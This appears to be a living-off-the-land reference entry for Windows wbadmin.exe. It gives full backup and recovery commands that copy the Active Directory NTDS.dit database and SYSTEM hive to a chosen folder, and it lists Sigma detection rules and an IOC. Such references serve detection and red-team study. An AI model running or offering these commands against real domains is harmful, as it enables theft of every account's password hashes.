wbadmin.exe
Windows Backup Administration utility
Paths
C:\Windows\System32\wbadmin.exe
Commands
Dump
Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
Use case: Snapshoting of Active Directory NTDS.dit database
Privileges: Administrator, Backup Operators, SeBackupPrivilege
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
Dump
Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.
Use case: Dumping of Active Directory NTDS.dit database
Privileges: Administrator, Backup Operators, SeBackupPrivilege
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml
- IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"